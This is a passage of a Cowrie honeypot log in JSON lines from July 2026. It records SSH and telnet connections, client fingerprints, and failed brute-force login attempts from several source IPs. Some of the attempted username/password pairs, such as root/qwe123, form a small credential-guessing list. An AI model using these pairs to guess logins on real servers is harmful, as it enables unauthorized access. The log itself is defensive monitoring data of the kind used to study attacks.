f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:49.137265Z","src_ip":"201.222.20.20","session":"ca44aaa1b70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!@#$%^&*","message":"login attempt [test/!@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:49.632046Z","src_ip":"201.222.20.20","session":"ca44aaa1b70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:50.750108Z","src_ip":"201.222.20.20","session":"ca44aaa1b70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36326,"dst_ip":"10.17.0.5","dst_port":22,"session":"28b348d39a6e","protocol":"ssh","message":"New connection: 8.210.75.243:36326 (10.17.0.5:22) [session: 28b348d39a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:54.627981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:04.737143Z","src_ip":"8.210.75.243","session":"28b348d39a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:04.740451Z","src_ip":"8.210.75.243","session":"28b348d39a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48472,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6af63b1da63","protocol":"ssh","message":"New connection: 51.250.105.222:48472 (159.203.135.109:22) [session: a6af63b1da63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:27.458051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:27.460837Z","src_ip":"51.250.105.222","session":"a6af63b1da63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:27.592038Z","src_ip":"51.250.105.222","session":"a6af63b1da63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:27.978150Z","src_ip":"51.250.105.222","session":"a6af63b1da63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:28.770861Z","src_ip":"8.210.75.243","session":"1548df89d897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:29.108872Z","src_ip":"51.250.105.222","session":"a6af63b1da63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":48948,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcee032fe223","protocol":"ssh","message":"New connection: 94.159.110.201:48948 (159.203.135.109:22) [session: bcee032fe223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:32.506717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:32.511312Z","src_ip":"94.159.110.201","session":"bcee032fe223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:32.626526Z","src_ip":"94.159.110.201","session":"bcee032fe223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260891","message":"login attempt [root/260891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:32.997530Z","src_ip":"94.159.110.201","session":"bcee032fe223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:33.577332Z","src_ip":"8.210.75.243","session":"28b348d39a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:34.114853Z","src_ip":"94.159.110.201","session":"bcee032fe223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":35630,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca6cb7e3eb07","protocol":"ssh","message":"New connection: 85.215.121.209:35630 (10.17.0.5:22) [session: ca6cb7e3eb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:36.298802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:36.303523Z","src_ip":"85.215.121.209","session":"ca6cb7e3eb07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:36.394598Z","src_ip":"85.215.121.209","session":"ca6cb7e3eb07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"safemoon","password":"safemoon123","message":"login attempt [safemoon/safemoon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:36.669173Z","src_ip":"85.215.121.209","session":"ca6cb7e3eb07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":57262,"dst_ip":"10.17.0.5","dst_port":22,"session":"decba1e19c9f","protocol":"ssh","message":"New connection: 119.203.251.187:57262 (10.17.0.5:22) [session: decba1e19c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:36.881316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:36.886152Z","src_ip":"119.203.251.187","session":"decba1e19c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":33554,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fe2fab02a05","protocol":"ssh","message":"New connection: 132.148.155.138:33554 (10.17.0.5:22) [session: 3fe2fab02a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:36.932409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:36.939643Z","src_ip":"132.148.155.138","session":"3fe2fab02a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:37.004287Z","src_ip":"132.148.155.138","session":"3fe2fab02a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:37.085608Z","src_ip":"119.203.251.187","session":"decba1e19c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"L1v3p3r$Tr0ng@P@ss","message":"login attempt [root/L1v3p3r$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:37.213327Z","src_ip":"132.148.155.138","session":"3fe2fab02a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.7","message":"Connection lost after 42.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:37.306983Z","src_ip":"8.210.75.243","session":"28b348d39a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:37.761628Z","src_ip":"85.215.121.209","session":"ca6cb7e3eb07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Li147258","message":"login attempt [root/Li147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:37.920393Z","src_ip":"119.203.251.187","session":"decba1e19c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:38.280566Z","src_ip":"132.148.155.138","session":"3fe2fab02a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:39.122513Z","src_ip":"119.203.251.187","session":"decba1e19c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.9804265499115,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:39.677134Z","src_ip":"170.64.224.25","session":"61c1c8874483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48456,"dst_ip":"10.17.0.5","dst_port":22,"session":"a80527f31632","protocol":"ssh","message":"New connection: 8.210.75.243:48456 (10.17.0.5:22) [session: a80527f31632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:47.431157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:47.435226Z","src_ip":"8.210.75.243","session":"a80527f31632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":34586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4770b981ba7","protocol":"ssh","message":"New connection: 99.252.20.159:34586 (159.203.135.109:22) [session: a4770b981ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:49.088330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:49.092418Z","src_ip":"99.252.20.159","session":"a4770b981ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:49.125345Z","src_ip":"99.252.20.159","session":"a4770b981ba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"philippines","password":"Manila#Crypto@S3cur3","message":"login attempt [philippines/Manila#Crypto@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:49.220525Z","src_ip":"99.252.20.159","session":"a4770b981ba7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:49.368494Z","src_ip":"8.210.75.243","session":"a3af2b4048e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:50.259076Z","src_ip":"99.252.20.159","session":"a4770b981ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39972,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ab04668bee","protocol":"telnet","message":"New connection: 170.64.224.25:39972 (159.203.135.109:23) [session: 77ab04668bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:51.655822Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60556,"dst_ip":"10.17.0.5","dst_port":22,"session":"046c90c55655","protocol":"ssh","message":"New connection: 8.210.75.243:60556 (10.17.0.5:22) [session: 046c90c55655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:56.383817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:56.386956Z","src_ip":"8.210.75.243","session":"046c90c55655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53878,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba8cdfdfcc10","protocol":"telnet","message":"New connection: 170.64.224.25:53878 (159.203.135.109:23) [session: ba8cdfdfcc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:31:58.332355Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":52054,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d0255660214","protocol":"ssh","message":"New connection: 201.222.20.20:52054 (10.17.0.5:22) [session: 6d0255660214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:21.064288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:21.068554Z","src_ip":"201.222.20.20","session":"6d0255660214","protocol":"ssh"}
